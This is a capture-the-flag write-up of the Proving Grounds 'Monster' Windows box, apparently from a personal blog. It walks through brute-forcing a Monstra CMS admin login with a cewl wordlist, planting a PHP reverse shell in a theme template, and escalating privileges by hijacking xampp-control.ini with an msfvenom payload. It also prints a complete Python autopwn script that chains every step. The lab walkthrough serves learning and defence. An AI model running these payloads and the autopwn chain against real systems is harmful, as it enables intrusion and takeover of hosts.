the_open_door
coffee
ESEN

Monster

Proving Grounds PracticeMediumWindows192.168.144.1806 min read

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#monstra-cms#php-template-injection#cewl#bruteforce#xampp#service-hijack#ini-write#service-binary-replacement
TL;DR. Monstra CMS 3.0.4 on a XAMPP with the admin login broken by targeted bruteforce (wordlist generated with cewl off the site itself), RCE by editing a PHP theme template in the panel, and a privesc from bad permissions on C:\xampp\: Authenticated Users can rewrite xampp-control.ini and swap the binary path launched by the panel, which on this host returns a mike-pc\administrator shell.

Recon#

Initial scan#

The reply's TTL already points at the operating system:


ping -c 1 192.168.144.180
64 bytes from 192.168.144.180: icmp_seq=1 ttl=125 time=30.0 ms

A full port scan uncovers a broad surface of Windows services:


sudo nmap -sS -Pn -p- --min-rate 5000 --open 192.168.144.180
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
443/tcp   open  ssl/http
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
49669/tcp open  msrpc

nmap -p80,135,139,443,445,3389,49669 -sCV 192.168.144.180
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.3.10)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn
443/tcp   open  ssl/http      Apache httpd 2.4.41 (Win64) PHP/7.3.10
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
49669/tcp open  msrpc

The Apache 2.4.41 banner with Win64 and PHP/7.3.10 is the classic XAMPP-on-Windows fingerprint: not a standard IIS, and that detail decides the final escalation.

HTTP - domain identification#

The main site is a "MeetMe" landing page for Mike Wazowski. That themed content matters later: it's the source of the wordlist we'll generate with cewl.

monster.pg root site: "MeetMe" landing page for Mike Wazowski, Web Developer

Browsing the /blog/ (a Monstra CMS), the internal links reveal the virtual host name, monster.pg (e.g. the Log In link points to http://monster.pg/blog/users/login):

Mike's Monstra blog; the Log In link points to http://monster.pg/blog/users/login

We add it to /etc/hosts to resolve it:


echo '192.168.144.180 monster.pg' | sudo tee -a /etc/hosts > /dev/null; tail -n 1 /etc/hosts
192.168.144.180 monster.pg

HTTP - Monstra CMS#

A dirsearch against /blog exposes a full Monstra CMS install: admin/, libraries/, engine/, robots.txt, rss.php and a .gitignore.


dirsearch -u http://monster.pg/blog --exclude-status=404,403,503 -t 200

The blog's own index lists users.

Users
  admin
  mike

Powered by Monstra 3.0.4

Shell as web user#

Monstra CMS 3.0.4 - bruteforce with cewl#

The admin panel lives at /blog/admin/index.php. Inspecting its login form with DevTools shows the POST structure (login=admin&password=...&login_submit=Log+In), which is exactly what we need to automate the attack:

Monstra 3.0.4 login panel and, in DevTools, the POST login=admin&password=admin&login_submit=Log+In

The best wordlist against a blog is not rockyou: it is the site itself. cewl harvests words from the HTML and returns a wordlist; wfuzz then finishes it off in minutes.


cewl http://monster.pg/ > dir
wfuzz -u http://monster.pg/blog/admin/index.php \
      -d 'login=admin&password=FUZZ&login_submit=Log+In' \
      -w dir --hc=200

--hc=200 hides failed attempts (a successful login is a 302). The word wazowski (straight from the blog content) returns 302: it is the admin password.

000000045:   302   ...   "wazowski"

Successful login as admin/wazowski

PHP template injection (issue #470)#

Monstra lets you edit theme templates from the panel; the editor writes the file as PHP and Monstra includes it when rendering. It is a documented RCE in issue #470: inject PHP into the blog template and visit the route that uses it.

GitHub issue #470 (template RCE)

Steps:

  1. /blog/admin/index.php?id=themes&action=edit_template&filename=blog
  2. Paste a PHP webshell in the content.
  3. Save and Exit and visit /blog/blog (the route that renders the template).

The payload does not need writing by hand: revshells.com generates the reverse shell already adapted to the language, the operating system and the target's shell. The one that fits here is PHP Ivan Sincek with OS: Windows and Shell: cmd, because it is the only entry in the list that handles Windows's quirks instead of assuming a /bin/sh.

the revshells.com generator with the IP and port filled in, OS Windows, the PHP Ivan Sincek template selected and Shell cmd

<?php
// Copyright (c) 2020 Ivan Sincek
// v2.3
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
    private $addr  = null;
    private $port  = null;
    private $os    = null;
    private $shell = null;

Template editor with PHP payload

Then ?cmd=whoami (or a reverse) answers as the Apache/XAMPP service user. With nc listening for the reverse shell:


rlwrap nc -nlvp 9999
listening on [any] 9999 ...
C:\xampp\htdocs\blog>whoami
mike-pc\mike

Privilege Escalation#

C:\xampp\ writable by Authenticated Users#

The first step is to check by hand the permissions on the installed services' directories. On XAMPP's, icacls makes it plain:


icacls C:\xampp

We also drop winpeas.exe (repo) in C:\Windows\Temp with curl and run it:

On the attacker side the binary is located with locate (it was already there from another box) and served over HTTP:


locate winpeas | head -n 2
/home/krmena/tools/winpeas.exe
/machines/cascade/exploits/winpeas.exe

cp /machines/cascade/exploits/winpeas.exe .

python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

cd C:\Windows\Temp

curl http://192.168.45.201/winpeas.exe -O winpeas.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 1891k  100 1891k    0     0   320k      0  0:00:05  0:00:05 --:--:--  267k
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0curl: (6) Could not resolve host: winpeas.exe

.\winpeas.exe
ANSI color bit for Windows is not set. If you are execcuting this from a Windows terminal inside the host you should run 'REG ADD HKCU...
 then start a new CMD
...

curl's -O takes no argument (it is plain --remote-name), so the trailing winpeas.exe is read as a second URL and ends in a Could not resolve host. The file still comes down with the first one, which is what matters here.

winPEAS confirms the same finding, blunt:

...
Installed Applications --Via Program Files/Uninstall registry--
Check if you can modify installed software https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#software
    C:\Program Files\Common Files
...
    C:\Program Files\WindowsPowerShell
    C:\xampp(Authenticated Users [WriteData/CreateFiles])

That is a bad ACL on C:\xampp\: authenticated users can create files inside. That hole is the entry to the service.

The exact XAMPP version does not need guessing either: the directory itself keeps a properties.ini with it.


cd C:\xampp

type properties.ini
[General]
installdir=C:\xampp
base_stack_name=XAMPP
base_stack_version=7.3.10-1
base_stack_platform=windows-x64
[Apache]
apache_server_port=80
apache_server_ssl_port=443
apache_root_directory=/xampp/apache
apache_htdocs_directory=C:\xampp\htdocs
[MySQL]
mysql_port=3306
mysql_root_directory=C:\xampp\mysql

XAMPP 7.4.3 CVE - xampp-control.ini#

searchsploit 'xampp 7.' points to 50337.ps1: the advisory describes an XAMPP Control Panel service running as SYSTEM that reads C:\xampp\xampp-control.ini. Line 3 of the file points to the binary to launch. With write access, replace that path with our own reverse shell and when the service starts (or restarts), the .exe runs with the token of whoever launches the panel.


cat 50337.ps1
# Exploit Title: XAMPP 7.4.3 - Local Privilege Escalation
# Exploit Author: Salman Asad (@deathflash1411) a.k.a LeoBreaker
# Original Author: Maximilian Barz (@S1lkys)
# Date: 27/09/2021
# Vendor Homepage: https://www.apachefriends.org
# Version: XAMPP < 7.2.29, 7.3.x < 7.3.16 & 7.4.x < 7.4.4
# Tested on: Windows 10 + XAMPP 7.3.10
# References: https://github.com/S1lkys/CVE-2020-11107

$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
# Insert your payload path here
$replace = "C:\temp\msf.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $file

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.201 LPORT=9999 -f exe -o shell.exe
python3 -m http.server 80

We start the nc that will receive the connection:

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 7168 bytes
Saved as: shell.exe

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

rlwrap nc -nlvp 9999
listening on [any] 9999 ...

mkdir C:\Windows\Temp\privesc

cd C:\Windows\Temp\privesc

curl http://192.168.45.201/shell.exe -O
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  7168  100  7168    0     0   108k      0 --:--:-- --:--:-- --:--:--  111k

dir
 Volume in drive C has no label.
 Volume Serial Number is 08DF-534D

 Directory of C:\Windows\Temp\privesc

03/08/2026  03:38 PM    <DIR>          .
03/08/2026  03:38 PM    <DIR>          ..
03/08/2026  03:38 PM             7,168 shell.exe
               1 File(s)          7,168 bytes
               2 Dir(s)   6,977,548,288 bytes free

Edit C:\xampp\xampp-control.ini replacing the third line's path with a binary of our own. There is a detail the vault does not settle here: the file the curl pulled down is called shell.exe and $replace points at rev.exe. Both captures say so and neither keeps the step that joins them, so each panel carries the name its own capture shows.


powershell
$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
$replace = "C:\Windows\Temp\privesc\rev.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $file
type C:\xampp\xampp-control.ini
C:\Windows\Temp\privesc>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Windows\Temp\privesc> $file = "C:\xampp\xampp-control.ini"
PS C:\Windows\Temp\privesc> $find = ((Get-Content $file)[2] -Split "=")[1]
PS C:\Windows\Temp\privesc> $replace = "C:\Windows\Temp\privesc\rev.exe"
PS C:\Windows\Temp\privesc> (Get-Content $file) -replace $find, $replace | Set-Content $file
PS C:\Windows\Temp\privesc> type C:\xampp\xampp-control.ini
[Common]
Edition=
Editor=C:\Windows\Temp\privesc\rev.exe
Browser=
Debug=0
Debuglevel=0
TomcatVisible=1
Language=en
Minimized=1

[EnableModules]
...

When the panel service starts (or a trigger forces it), the binary XAMPP launches is rev.exe. It is worth checking which identity comes back, because it is not SYSTEM:


rlwrap nc -nvlp 9999
listening on [any] 9999 ...
connect to [192.168.45.201] from (UNKNOWN) [192.168.144.180] 49904
Microsoft Windows [Version 10.0.19044.1645]
(c) Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
mike-pc\administrator

whoami returns mike-pc\administrator, not SYSTEM. A child process inherits its parent's token, so this says that on this host the XAMPP panel was running inside administrator's session rather than as a system service. It does not matter for the goal, since administrator already opens C:\Users\Administrator\Desktop\proof.txt, but it is worth saying: the exploit's advisory describes the service case, and what we get here is a different one.

Proof.txt#

C:\Users\Administrator\Desktop>type proof.txt && whoami && ipconfig && hostname
type proof.txt && whoami && ipconfig && hostname
0cbf35fe3e6963eaea45f2f853af2654
mike-pc\administrator

Windows IP Configuration


Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . :
   IPv4 Address. . . . . . . . . . . : 192.168.144.180
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.144.254
Mike-PC

Automating the whole chain#

The entire sequence (panel brute force, template upload with the webshell, first shell trigger, .exe download, xampp-control.ini rewrite and waiting for the second shell) fits in a script. It is worth doing because it shows which steps are actually essential and which were noise:


cat monster_autopwn.py
#!/usr/bin/env python3

import requests, sys, re, subprocess, threading, socket, time
from bs4 import BeautifulSoup
from colorama import Fore, Style, init

init()

rhost = sys.argv[1]
lhost = sys.argv[2]
lport = int(sys.argv[3])

web_domain = "monster.pg"
base_url = f"http://{web_domain}"

s = requests.Session()


def add_to_hosts():

    with open("/etc/hosts", "r") as f:
        content = f.read()
        if web_domain in content and rhost in content:
            return

    entry = f"{rhost} {web_domain}"

    with open("/etc/hosts", "a") as f:
        f.write(f"\n{entry}\n")


def bruteforce():

    print(Fore.YELLOW + "[*] Bruteforcing password" + Style.RESET_ALL)

    r = s.get(base_url)
    soup = BeautifulSoup(r.text, "html.parser")

    words = set(re.findall(r"[a-zA-Z]+", soup.get_text()))

    for word in words:

        s.cookies.clear()

        r = s.post(
            base_url + "/blog/admin/index.php",
            data={
                "login": "admin",
                "password": word,
                "login_submit": "Log+In"
            },
            allow_redirects=False
        )

        if r.status_code == 302:
            print(Fore.GREEN + f"[+] Password found -> {word}" + Style.RESET_ALL)
            return word


def exploit():

    print(Fore.YELLOW + "[*] Uploading reverse shell" + Style.RESET_ALL)

    r = s.get(base_url + "/blog/admin/index.php?id=themes&action=edit_template&filename=blog")
    soup = BeautifulSoup(r.text, "html.parser")

    csrf = soup.find("input", {"name": "csrf"})["value"]

    payload = re.sub(
        r"new Shell\('.*?',\s*\d+\)",
        f"new Shell('{lhost}', {lport})",
        open("payload").read()
    )

    open("payload", "w").write(payload)

    s.post(
        base_url + "/blog/admin/index.php?id=themes&action=edit_template&filename=blog",
        data={
            "csrf": csrf,
            "template_old_name": "blog",
            "name": "blog",
            "content": payload,
            "edit_file_and_exit": "Save and Exit"
        }
    )

    print(Fore.YELLOW + "[*] Triggering payload" + Style.RESET_ALL)

    try:
        s.get(base_url + "/blog/blog", timeout=2)
    except:
        pass


def listener(port):

    sck = socket.socket()
    sck.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

    sck.bind(("0.0.0.0", port))
    sck.listen(1)

    print(Fore.YELLOW + f"[*] Waiting for shell on port {port}..." + Style.RESET_ALL)

    conn, addr = sck.accept()

    print(Fore.GREEN + f"[+] Shell received from {addr}" + Style.RESET_ALL)

    return conn


def interactive_shell(conn, prompt="shell> "):

    while True:

        cmd = input(prompt)

        conn.send((cmd + "\n").encode())

        time.sleep(1)

        try:
            print(conn.recv(65535).decode(errors="ignore"))
        except:
            pass


def privesc(conn):

    print(Fore.YELLOW + "[*] Running privilege escalation" + Style.RESET_ALL)

    subprocess.run(
        [
            "msfvenom",
            "-p", "windows/shell_reverse_tcp",
            f"LHOST={lhost}",
            "LPORT=1234",
            "-f", "exe",
            "-o", "shell.exe"
        ],
        stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL
    )

    server = subprocess.Popen(
        ["python3", "-m", "http.server", "80"],
        stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL
    )

    commands = [
        "mkdir C:\\Windows\\Temp\\privesc",
        f"certutil.exe -f -urlcache -split http://{lhost}/shell.exe C:\\Windows\\Temp\\privesc\\shell.exe",
        'powershell -c "$file=\'C:\\xampp\\xampp-control.ini\';$c=Get-Content $file;$c[2]=$c[2].Replace(($c[2] -Split \'=\')[1],\'C:\\Windows\\Temp\\privesc\\shell.exe\');Set-Content $file $c"'
    ]

    for cmd in commands:

        print(Fore.YELLOW + f"[*] Running -> {cmd}" + Style.RESET_ALL)

        try:
            conn.send((cmd + "\n").encode())
            time.sleep(1)
            print(conn.recv(65535).decode(errors="ignore"))
        except:
            pass

    server.kill()


if __name__ == "__main__":

    add_to_hosts()
    bruteforce()
    threading.Thread(target=exploit).start()
    conn = listener(lport)
    privesc(conn)
    conn2 = listener(1234)
    interactive_shell(conn2, Fore.CYAN + "root-shell> " + Style.RESET_ALL)

python3 monster_autopwn.py 192.168.134.180 192.168.45.155 4444
[*] Bruteforcing password
[+] Password found -> wazowski
[*] Uploading reverse shell
[*] Waiting for shell on port 4444 ...
[*] Triggering payload
[+] Shell received from ('192.168.134.180', 50056)
[*] Running privilege escalation
[*] Running -> mkdir C:\Windows\Temp\privesc
SOCKET: Shell has connected! PID: 1212
Microsoft Windows [Version 10.0.19044.1645]
(c) Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\blog>A subdirectory or file C:\Windows\Temp\privesc already exists.

C:\xampp\htdocs\blog>
[*] Running -> certutil.exe -f -urlcache -split http://192.168.45.155/shell.exe C:\Windows\Temp\privesc\shell.exe
Access is denied.

C:\xampp\htdocs\blog>
[*] Running -> powershell -c "$file='C:\xampp\xampp-control.ini';$c=Get-Content $file;$c[2]=$c[2].Replace(($c[2] -Split '=')[1],'C:\Windows\Temp\privesc\shell.exe');Set-Content $file $c"

C:\xampp\htdocs\blog>
[*] Waiting for shell on port 1234 ...
[+] Shell received from ('192.168.134.180', 50064)
root-shell> whoami && type C:\Users\Administrator\Desktop\proof.txt && hostname && ipconfig
Microsoft Windows [Version 10.0.19044.1645]
(c) Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami && type C:\Users\Administrator\Desktop\proof.txt && hostname && ipconfig
mike-pc\administrator
5a15cc17c9099b36737c396e3b0805fe
Mike-PC

Windows IP Configuration
...

Note the certutil's Access is denied.: the script carries on anyway because the .exe was already uploaded during the manual pass. That is the kind of detail automation hides and is worth reading.

Attack chain#

Monstra 3.0.4 (XAMPP + Apache 2.4.41)
  └─ cewl the blog -> wfuzz -> admin/wazowski
     └─ Theme template editor (issue #470) -> PHP shell in 'blog' template
        └─ visit /blog/blog -> RCE as Apache user
           └─ winPEAS -> C:\xampp (Authenticated Users WriteData)
              └─ xampp-control.ini writable
                 └─ replace binary path with rev.exe
                    └─ panel launches rev.exe -> mike-pc\administrator

Lessons learned#

  • cewl remains the most rewarding "bespoke wordlist" against a CMS. Admins tend to pick passwords from the site itself (characters, brand, theme).
  • A panel that edits PHP files and then evaluates them is RCE by design. Limiting the admin role to very specific operators, and NOT executing edited content without review, is a minimum.
  • XAMPP's default install permissions on Windows are famous for leaving C:\xampp\ writable to authenticated accounts; xampp-control.ini is the classic lever.
  • A service that reads its executable path from an editable .ini is equivalent to an insecure-permissions service: the privileged token is handed to whatever binary replaces the original.
  • Apache banners with Win64 + PHP/7.x are almost always XAMPP; that detail drives the escalation line of inquiry.
Command cheatsheet 9 commands

Quick review